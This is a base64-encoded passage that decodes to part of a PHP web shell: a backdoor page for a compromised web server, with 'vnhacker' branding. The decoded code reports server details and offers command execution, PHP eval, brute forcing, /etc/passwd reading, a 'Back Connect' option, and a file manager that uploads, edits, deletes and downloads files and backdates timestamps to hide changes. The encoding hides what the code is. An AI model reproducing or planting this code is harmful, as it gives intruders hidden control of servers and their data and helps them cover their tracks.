ZCBncmF5O2JhY2tncm91bmQ6IzBFMEUwRTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQouZm91dCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MHB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMjAyMDIwO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9Ci5oZWFkIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMyMDIwMjA7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O2ZvbnQtd2VpZ2h0OmJvbGQ7fQouaGVhZF9zbWFsbCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMjAyMDIwO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDtmb250LXdlaWdodDpub3JtYWw7Zm9udC1zaXplOjhwdDt9Ci5oZWFkIHRkIHNwYW57Zm9udC13ZWlnaHQ6bm9ybWFsO30KZm9ybXttYXJnaW46MDtwYWRkaW5nOjA7fQpoMnttYXJnaW46MDtwYWRkaW5nOjA7aGVpZ2h0OjI0cHg7bGluZS1oZWlnaHQ6MjRweDtmb250LXNpemU6MTRweDtjb2xvcjojNUI2ODZGO30KdWwuaW5mbyBsaXttYXJnaW46MDtjb2xvcjojNDQ0O2xpbmUtaGVpZ2h0OjI0cHg7aGVpZ2h0OjI0cHg7fQp1e3RleHQtZGVjb3JhdGlvbjogbm9uZTtjb2xvcjojNzc3O2Zsb2F0OmxlZnQ7ZGlzcGxheTpibG9jazt3aWR0aDoxNTBweDttYXJnaW4tcmlnaHQ6MTBweDt9CmlucHV0LCB0ZXh0YXJlYSwgYnV0dG9uCnsKCWZvbnQtc2l6ZTogOXB0OwoJY29sb3I6ICNjY2M7Cglmb250LWZhbWlseTogdmVyZGFuYSwgc2Fucy1zZXJpZjsKCWJhY2tncm91bmQtY29sb3I6ICMyMDIwMjA7Cglib3JkZXItbGVmdDogMXB4IHNvbGlkICM3NEEyMDI7Cglib3JkZXItdG9wOiAxcHggc29saWQgIzc0QTIwMjsKCWJvcmRlci1yaWdodDogMXB4IHNvbGlkICM3NEEyMDI7Cglib3JkZXItYm90dG9tOiAxcHggc29saWQgIzc0QTIwMjsKfQpzZWxlY3QKewoJZm9udC1zaXplOiA4cHQ7Cglmb250LXdlaWdodDogbm9ybWFsOwoJY29sb3I6ICNjY2M7Cglmb250LWZhbWlseTogdmVyZGFuYSwgc2Fucy1zZXJpZjsKCWJhY2tncm91bmQtY29sb3I6ICMyMDIwMjA7Cn0KCjwvc3R5bGU+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY3Rpb24gQ2hlY2tBbGwoZm9ybSkgewoJZm9yKHZhciBpPTA7aTxmb3JtLmVsZW1lbnRzLmxlbmd0aDtpKyspIHsKCQl2YXIgZSA9IGZvcm0uZWxlbWVudHNbaV07CgkJaWYgKGUubmFtZSAhPSAnY2hrYWxsJykKCQllLmNoZWNrZWQgPSBmb3JtLmNoa2FsbC5jaGVja2VkOwogICAgfQp9CmZ1bmN0aW9uICQoaWQpIHsKCXJldHVybiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCk7Cn0KZnVuY3Rpb24gZ29hY3Rpb24oYWN0KXsKCSQoJ2dvYWN0aW9uJykuYWN0aW9uLnZhbHVlPWFjdDsKCSQoJ2dvYWN0aW9uJykuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHkgb25Mb2FkPSJpbml0KCkiIHN0eWxlPSJtYXJnaW46MDt0YWJsZS1sYXlvdXQ6Zml4ZWQ7IHdvcmQtYnJlYWs6YnJlYWstYWxsIiBiZ2NvbG9yPWJsYWNrIGJhY2tncm91bmQ9aHR0cDovL2kzODIucGhvdG9idWNrZXQuY29tL2FsYnVtcy9vbzI2My92bmhhY2tlci9iZy0xLmpwZz4KCgo8ZGl2IGJvcmRlcj0iMCIgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAyNXB4OyB6LWluZGV4OiAxOyB0b3A6IDMwMHB4OyBsZWZ0OiAwOyIgaWQ9ImxvYWRpbmciIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0iY2VudGVyIj4KCQkJCTx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMTBweCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZSIgYm9yZGVyY29sb3I9IiMwMDMzMDAiPgoJCQkJCTx0cj4KCQkJCQkJPHRkIGFsaWduPSJjZW50ZXIiIHZhbGlnbj1jZW50ZXI+CgkJCQkgPGRpdiBib3JkZXI9IjEiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjMEUwRTBFOyBmaWx0ZXI6IGFscGhhKG9wYWNpdHk9NzApOyBvcGFjaXR5OiAuNzsgd2lkdGg6IDExMHB4OyBoZWlnaHQ6IDI1cHg7IHotaW5kZXg6IDE7IGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7IiBib3JkZXJjb2xvcj0iIzAwNjYwMCIgIGFsaWduPSJjZW50ZXIiPgoJCQkJICAgTG9hZGluZzxpbWcgc3JjPSJodHRwOi8vaTM4Mi5waG90b2J1Y2tldC5jb20vYWxidW1zL29vMjYzL3ZuaGFja2VyL2xvYWRpbmcuZ2lmIj4KCQkJCSAgPC9kaXY+CgkJCQk8L3RkPgoJCQkJCTwvdHI+CgkJCQk8L3RhYmxlPgoJCQkgPC9kaXY+CiA8c2NyaXB0PgogdmFyIGxkPShkb2N1bWVudC5hbGwpOwogIHZhciBuczQ9ZG9jdW1lbnQubGF5ZXJzOwogdmFyIG5zNj1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCYmIWRvY3VtZW50LmFsbDsKIHZhciBpZTQ9ZG9jdW1lbnQuYWxsOwogIGlmIChuczQpCiAJbGQ9ZG9jdW1lbnQubG9hZGluZzsKIGVsc2UgaWYgKG5zNikKIAlsZD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgibG9hZGluZyIpLnN0eWxlOwogZWxzZSBpZiAoaWU0KQogCWxkPWRvY3VtZW50LmFsbC5sb2FkaW5nLnN0eWxlOwogIGZ1bmN0aW9uIGluaXQoKQogewogaWYobnM0KXtsZC52aXNpYmlsaXR5PSJoaWRkZW4iO30KIGVsc2UgaWYgKG5zNnx8aWU0KSBsZC5kaXNwbGF5PSJub25lIjsKIH0KIDwvc2NyaXB0Pgo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KCTx0ciBjbGFzcz0iaGVhZF9zbWFsbCI+CgkJPHRkICB3aWR0aD0xMDAlPgoJCTx0YWJsZSB3aWR0aD0xMDAlPjx0ciBjbGFzcz0iaGVhZF9zbWFsbCI+PHRkPgoJCTxzcGFuIHN0eWxlPSJmbG9hdDpsZWZ0OyI+IDw/cGhwIGVjaG8gIkhvc3RuYW1lOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiB8IDxzcGFuPlsgU2VydmVyIElQOiA8P3BocCBlY2hvICI8Zm9udCBjb2xvcj15ZWxsb3c+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iPC9mb250PiI7Pz4gLSBZb3VyIElQOiA8P3BocCBlY2hvICI8Zm9udCBjb2xvcj15ZWxsb3c+Ii4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4iPC9mb250PiI7Pz4gXSA8L3NwYW4+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignbG9nb3V0Jyk7Ij48Zm9udCBjb2xvcj1yZWQ+IExvZ291dDwvZm9udD48L2E+PC9zcGFuPiA8YnIgLz4KCgkJPD9waHAKCQkkY3VybF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpOwoJCSRteXNxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKTsKCQkkbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7CgkJJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOwoJCSRvcmFfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOwoKZWNobyAoKCRzYWZlX21vZGUpPygiU2FmZV9tb2Q6IDxiPjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4gLSAiKTooIlNhZmVfbW9kOiA8Yj48Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiKSk7CmVjaG8gIlBIUCB2ZXJzaW9uOiA8Yj4iLkBwaHB2ZXJzaW9uKCkuIjwvYj4gLSAiOwoJCWVjaG8gImNVUkw6ICIuKCgkY3VybF9vbik/KCI8Yj48Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIik6KCI8Yj48Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiKSk7CgkJZWNobyAiTXlTUUw6IDxiPiI7CiRteXNxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKTsKaWYoJG15c3FsX29uKXsKZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiAtICI7IH0gZWxzZSB7IGVjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiAtICI7IH0KZWNobyAiTVNTUUw6IDxiPiI7CiRtc3NxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKTsKaWYoJG1zc3FsX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIjt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiO30KZWNobyAiUG9zdGdyZVNRTDogPGI+IjsKJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOwppZigkcGdfb24pe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4gLSAiO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiAtICI7fQplY2hvICJPcmFjbGU6IDxiPiI7CiRvcmFfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOwppZigkb3JhX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj48QlI+Ijt9CgplY2hvICJEaXNhYmxlIGZ1bmN0aW9ucyA6IDxiPiI7CmlmKCcnPT0oJGRmPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSl7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+Tk9ORTwvZm9udD48L2I+PEJSPiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPiRkZjwvZm9udD48L2I+PEJSPiI7fQoKZWNobyAiPGZvbnQgY29sb3I9d2hpdGU+VW5hbWUgLWE8L2ZvbnQ+OiAiLkBzdWJzdHIoQHBocF91bmFtZSgpLDAsMTIwKS4iPGJyPiI7CmVjaG8gIjxmb250IGNvbG9yPXdoaXRlPlNlcnZlcjwvZm9udD46ICIuQHN1YnN0cigkU0VSVkVSX1NPRlRXQVJFLDAsMTIwKS4iIC0gPGZvbnQgY29sb3I9d2hpdGU+aWQ8L2ZvbnQ+OiAiLkBnZXRteXVpZCgpLiIoIi5AZ2V0X2N1cnJlbnRfdXNlcigpLiIpIC0gdWlkPSIuQGdldG15dWlkKCkuIiAoIi5AZ2V0X2N1cnJlbnRfdXNlcigpLiIpIGdpZD0iLkBnZXRteWdpZCgpLiIoIi5AZ2V0X2N1cnJlbnRfdXNlcigpLiIpPGJyPiI7CgkJPz4KCQk8L3RkPjwvdHI+PC90YWJsZT48L3RkPgoJPC90cj4KCTx0ciBjbGFzcz0iYWx0MSI+CgkJPHRkICB3aWR0aD0xMCU+CgkJCQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdmaWxlJyk7Ij5GaWxlIE1hbmFnZXI8L2E+IHwKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsYWRtaW4nKTsiPk15U1FMIE1hbmFnZXI8L2E+IHwKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsZmlsZScpOyI+TXlTUUwgVXBsb2FkICZhbXA7IERvd25sb2FkPC9hPiB8CgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NoZWxsJyk7Ij5FeGVjdXRlIENvbW1hbmQ8L2E+IHwKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbigncGhwZW52Jyk7Ij5QSFAgVmFyaWFibGU8L2E+IHwKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignZXZhbCcpOyI+RXZhbCBQSFAgQ29kZTwvYT4KCQkJPD9waHAgaWYgKCFJU19XSU4pIHs/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2JydXRlJyk7Ij5CcnV0ZTwvYT4gPD9waHAgfT8+CgkJCTw/cGhwIGlmICghSVNfV0lOKSB7Pz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdldGNwd2QnKTsiPi9ldGMvcGFzc3dkPC9hPiA8P3BocCB9Pz4KCQkJPD9waHAgaWYgKCFJU19XSU4pIHs/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2JhY2tjb25uZWN0Jyk7Ij5CYWNrIENvbm5lY3Q8L2E+PD9waHAgfT8+CgkJPC90ZD4KCTwvdHI+CjwvdGFibGU+Cjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMTUiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkPgo8P3BocAoKZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZ29hY3Rpb24nKSk7Cm1ha2VoaWRlKCdhY3Rpb24nKTsKZm9ybWZvb3QoKTsKCiRlcnJtc2cgJiYgbSgkZXJybXNnKTsKCi8vIERpciBmdW5jdGlvbgohJGRpciAmJiAkZGlyID0gJy4nOwokbm93cGF0aCA9IGdldFBhdGgoU0FfUk9PVCwgJGRpcik7CmlmIChzdWJzdHIoJGRpciwgLTEpICE9ICcvJykgewoJJGRpciA9ICRkaXIuJy8nOwp9CiR1ZWRpciA9IHVlKCRkaXIpOwoKaWYgKCEkYWN0aW9uIHx8ICRhY3Rpb24gPT0gJ2ZpbGUnKSB7CgoJLy8gTm9uLXdyaXRlYWJsZQoJJGRpcl93cml0ZWFibGUgPSBAaXNfd3JpdGFibGUoJG5vd3BhdGgpID8gJ1dyaXRhYmxlJyA6ICdOb24td3JpdGFibGUnOwoKCS8vIERlbGV0ZSBkaXIKCWlmICgkZG9pbmcgPT0gJ2RlbGRpcicgJiYgJHRoZWZpbGUpIHsKCQlpZiAoIWZpbGVfZXhpc3RzKCR0aGVmaWxlKSkgewoJCQltKCR0aGVmaWxlLicgZGlyZWN0b3J5IGRvZXMgbm90IGV4aXN0Jyk7CgkJfSBlbHNlIHsKCQkJbSgnRGlyZWN0b3J5IGRlbGV0ZSAnLihkZWx0cmVlKCR0aGVmaWxlKSA/IGJhc2VuYW1lKCR0aGVmaWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8gQ3JlYXRlIG5ldyBkaXIKCWVsc2VpZiAoJG5ld2Rpcm5hbWUpIHsKCQkkbWtkaXJzID0gJG5vd3BhdGguJG5ld2Rpcm5hbWU7CgkJaWYgKGZpbGVfZXhpc3RzKCRta2RpcnMpKSB7CgkJCW0oJ0RpcmVjdG9yeSBoYXMgYWxyZWFkeSBleGlzdGVkJyk7CgkJfSBlbHNlIHsKCQkJbSgnRGlyZWN0b3J5IGNyZWF0ZWQgJy4oQG1rZGlyKCRta2RpcnMsMDc3NykgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJCQlAY2htb2QoJG1rZGlycywwNzc3KTsKCQl9Cgl9CgoJLy8gVXBsb2FkIGZpbGUKCWVsc2VpZiAoJGRvdXBmaWxlKSB7CgkJbSgnRmlsZSB1cGxvYWQgJy4oQGNvcHkoJF9GSUxFU1sndXBsb2FkZmlsZSddWyd0bXBfbmFtZSddLCR1cGxvYWRkaXIuJy8nLiRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7Cgl9CgoJLy8gRWRpdCBmaWxlCgllbHNlaWYgKCRlZGl0ZmlsZW5hbWUgJiYgJGZpbGVjb250ZW50KSB7CgkJJGZwID0gQGZvcGVuKCRlZGl0ZmlsZW5hbWUsJ3cnKTsKCQltKCdTYXZlIGZpbGUgJy4oQGZ3cml0ZSgkZnAsJGZpbGVjb250ZW50KSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJQGZjbG9zZSgkZnApOwoJfQoKCS8vIE1vZGlmeQoJZWxzZWlmICgkcGZpbGUgJiYgJG5ld3Blcm0pIHsKCQlpZiAoIWZpbGVfZXhpc3RzKCRwZmlsZSkpIHsKCQkJbSgnVGhlIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsKCQl9IGVsc2UgewoJCQkkbmV3cGVybSA9IGJhc2VfY29udmVydCgkbmV3cGVybSw4LDEwKTsKCQkJbSgnTW9kaWZ5IGZpbGUgYXR0cmlidXRlcyAnLihAY2htb2QoJHBmaWxlLCRuZXdwZXJtKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJfQoJfQoKCS8vIFJlbmFtZQoJZWxzZWlmICgkb2xkbmFtZSAmJiAkbmV3ZmlsZW5hbWUpIHsKCQkkbm5hbWUgPSAkbm93cGF0aC4kbmV3ZmlsZW5hbWU7CgkJaWYgKGZpbGVfZXhpc3RzKCRubmFtZSkgfHwgIWZpbGVfZXhpc3RzKCRvbGRuYW1lKSkgewoJCQltKCRubmFtZS4nIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOwoJCX0gZWxzZSB7CgkJCW0oYmFzZW5hbWUoJG9sZG5hbWUpLicgcmVuYW1lZCAnLmJhc2VuYW1lKCRubmFtZSkuKEByZW5hbWUoJG9sZG5hbWUsJG5uYW1lKSA/ICcgc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJCX0KCX0KCgkvLyBDb3B1CgllbHNlaWYgKCRzbmFtZSAmJiAkdG9maWxlKSB7CgkJaWYgKGZpbGVfZXhpc3RzKCR0b2ZpbGUpIHx8ICFmaWxlX2V4aXN0cygkc25hbWUpKSB7CgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7CgkJfSBlbHNlIHsKCQkJbShiYXNlbmFtZSgkdG9maWxlKS4nIGNvcGllZCAnLihAY29weSgkc25hbWUsJHRvZmlsZSkgPyBiYXNlbmFtZSgkdG9maWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8gRmlsZSBleGl0CgllbHNlaWYgKCRjdXJmaWxlICYmICR0YXJmaWxlKSB7CgkJaWYgKCFAZmlsZV9leGlzdHMoJGN1cmZpbGUpIHx8ICFAZmlsZV9leGlzdHMoJHRhcmZpbGUpKSB7CgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7CgkJfSBlbHNlIHsKCQkJJHRpbWUgPSBAZmlsZW10aW1lKCR0YXJmaWxlKTsKCQkJbSgnTW9kaWZ5IGZpbGUgdGhlIGxhc3QgbW9kaWZpZWQgJy4oQHRvdWNoKCRjdXJmaWxlLCR0aW1lLCR0aW1lKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJfQoJfQoKCS8vIERhdGUKCWVsc2VpZiAoJGN1cmZpbGUgJiYgJHllYXIgJiYgJG1vbnRoICYmICRkYXkgJiYgJGhvdXIgJiYgJG1pbnV0ZSAmJiAkc2Vjb25kKSB7CgkJaWYgKCFAZmlsZV9leGlzdHMoJGN1cmZpbGUpKSB7CgkJCW0oYmFzZW5hbWUoJGN1cmZpbGUpLicgZG9lcyBub3QgZXhpc3QnKTsKCQl9IGVsc2UgewoJCQkkdGltZSA9IHN0cnRvdGltZSgiJHllYXItJG1vbnRoLSRkYXkgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7CgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcuKEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJCX0KCX0KCgkvLyBEb3dubG9hZAoJZWxzZWlmKCRkb2luZyA9PSAnZG93bnJhcicpIHsKCQlpZiAoJGRsKSB7CgkJCSRkZmlsZXM9Jyc7CgkJCWZvcmVhY2ggKCRkbCBhcyAkZmlsZXBhdGggPT4gJHZhbHVlKSB7CgkJCQkkZGZpbGVzLj0kZmlsZXBhdGguJywnOwoJCQl9CgkJCSRkZmlsZXM9c3Vic3RyKCRkZmlsZXMsMCxzdHJsZW4oJGRmaWxlcyktMSk7CgkJCSRkbD1leHBsb2RlKCcsJywkZGZpbGVzKTsKCQkJJHppcD1uZXcgUEhQWmlwKCRkbCk7CgkJCSRjb2RlPSR6aXAtPm91dDsKCQkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOwoJCQloZWFkZXIoJ0FjY2VwdC1SYW5nZXM6IGJ5dGVzJyk7CgkJCWhlYWRlcignQWNjZXB0LUxlbmd0aDogJy5zdHJsZW4oJGNvZGUpKTsKCQkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfRmlsZXMudGFyLmd6Jyk7CgkJCWVjaG8gJGNvZGU7CgkJCWV4aXQ7CgkJfSBlbHNlIHsKCQkJbSgnUGxlYXNlIHNlbGVjdCBmaWxlKHMpJyk7CgkJfQoJfQoKCS8vIERlbGV0ZSBmaWxlCgllbHNlaWYoJGRvaW5nID09ICdkZWxmaWxlcycpIHsKCQlpZiAoJGRsKSB7CgkJCSRkZmlsZXM9Jyc7CgkJCSRzdWNjID0gJGZhaWwgPSAwOwoJCQlmb3JlYWNoICgkZGwgYXMgJGZpbGVwYXRoID0+ICR2YWx1ZSkgewoJCQkJaWYgKEB1bmxpbmsoJGZpbGVwYXRoKSkgewoJCQkJCSRzdWNjKys7CgkJCQl9IGVsc2UgewoJCQkJCSRmYWlsKys7CgkJCQl9CgkJCX0KCQkJbSgnRGVsZXRlZCBmaWxlIGhhdmUgZmluaXNoZWQ/P2Nob29zZSAnLmNvdW50KCRkbCkuJyBzdWNjZXNzICcuJHN1Y2MuJyBmYWlsICcuJGZhaWwpOwoJCX0gZWxzZSB7CgkJCW0oJ1BsZWFzZSBzZWxlY3QgZmlsZShzKScpOwoJCX0KCX0KCgkvLyBGdW5jdGlvbiBOZXdkaXIKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2NyZWF0ZWRpcicpKTsKCW1ha2VoaWRlKCduZXdkaXJuYW1lJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZXBlcm0nKSk7CgltYWtlaGlkZSgnbmV3cGVybScpOwoJbWFrZWhpZGUoJ3BmaWxlJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nY29weWZpbGUnKSk7CgltYWtlaGlkZSgnc25hbWUnKTsKCW1ha2VoaWRlKCd0b2ZpbGUnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKCWZvcm1mb290KCk7Cglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidyZW5hbWUnKSk7CgltYWtlaGlkZSgnb2xkbmFtZScpOwoJbWFrZWhpZGUoJ25ld2ZpbGVuYW1lJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZW9wZm9ybScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nKTsKCW1ha2VoaWRlKCdvcGZpbGUnKTsKCW1ha2VoaWRlKCdkaXInKTsKCWZvcm1mb290KCk7CgoJJGZyZWUgPSBAZGlza19mcmVlX3NwYWNlKCRub3dwYXRoKTsKCSEkZnJlZSAmJiAkZnJlZSA9IDA7CgkkYWxsID0gQGRpc2tfdG90YWxfc3BhY2UoJG5vd3BhdGgpOwoJISRhbGwgJiYgJGFsbCA9IDA7CgkkdXNlZCA9ICRhbGwtJGZyZWU7CgkkdXNlZF9wZXJjZW50ID0gQHJvdW5kKDEwMC8oJGFsbC8kZnJlZSksMik7CglwKCc8Zm9udCBjb2xvcj15ZWxsb3cgZmFjZT10YWhvbWEgc2l6ZT0yPjxCPkZpbGUgTWFuYWdlcjwvYj4gPC9mb250PiBDdXJyZW50IGRpc2sgZnJlZSA8Zm9udCBjb2xvcj1yZWQ+Jy5zaXplY291bnQoJGZyZWUpLic8L2ZvbnQ+IG9mIDxmb250IGNvbG9yPXJlZD4nLnNpemVjb3VudCgkYWxsKS4nPC9mb250PiAoPGZvbnQgY29sb3I9cmVkPicuJHVzZWRfcGVyY2VudC4nPC9mb250PiUpPC9mb250PicpOwoKPz4KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9Im1hcmdpbjoxMHB4IDA7Ij4KICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBpZD0iZ29kaXIiIG5hbWU9ImdvZGlyIj4KICA8dHI+CiAgICA8dGQgbm93cmFwPkN1cnJlbnQgRGlyZWN0b3J5ICg8P3BocCBlY2hvICRkaXJfd3JpdGVhYmxlOz8+LCA8P3BocCBlY2hvIGdldENobW9kKCRub3dwYXRoKTs/Pik8L3RkPgoJPHRkIHdpZHRoPSIxMDAlIj48aW5wdXQgbmFtZT0idmlld193cml0YWJsZSIgdmFsdWU9IjAiIHR5cGU9ImhpZGRlbiIgLz48aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJkaXIiIHZhbHVlPSI8P3BocCBlY2hvICRub3dwYXRoOz8+IiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6MTAwJTttYXJnaW46MCA4cHg7Ij48L3RkPgogICAgPHRkIG5vd3JhcD48aW5wdXQgY2xhc3M9ImJ0IiB2YWx1ZT0iR08iIHR5cGU9InN1Ym1pdCI+PC90ZD4KICA8L3RyPgogIDwvZm9ybT4KPC90YWJsZT4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBjcmVhdGVkaXIoKXsKCXZhciBuZXdkaXJuYW1lOwoJbmV3ZGlybmFtZSA9IHByb21wdCgnUGxlYXNlIGlucHV0IHRoZSBkaXJlY3RvcnkgbmFtZTonLCAnJyk7CglpZiAoIW5ld2Rpcm5hbWUpIHJldHVybjsKCSQoJ2NyZWF0ZWRpcicpLm5ld2Rpcm5hbWUudmFsdWU9bmV3ZGlybmFtZTsKCSQoJ2NyZWF0ZWRpcicpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGZpbGVwZXJtKHBmaWxlKXsKCXZhciBuZXdwZXJtOwoJbmV3cGVybSA9IHByb21wdCgnQ3VycmVudCBmaWxlOicrcGZpbGUrJ1xuUGxlYXNlIGlucHV0IG5ldyBhdHRyaWJ1dGU6JywgJycpOwoJaWYgKCFuZXdwZXJtKSByZXR1cm47CgkkKCdmaWxlcGVybScpLm5ld3Blcm0udmFsdWU9bmV3cGVybTsKCSQoJ2ZpbGVwZXJtJykucGZpbGUudmFsdWU9cGZpbGU7CgkkKCdmaWxlcGVybScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGNvcHlmaWxlKHNuYW1lKXsKCXZhciB0b2ZpbGU7Cgl0b2ZpbGUgPSBwcm9tcHQoJ09yaWdpbmFsIGZpbGU6JytzbmFtZSsnXG5QbGVhc2UgaW5wdXQgb2JqZWN0IGZ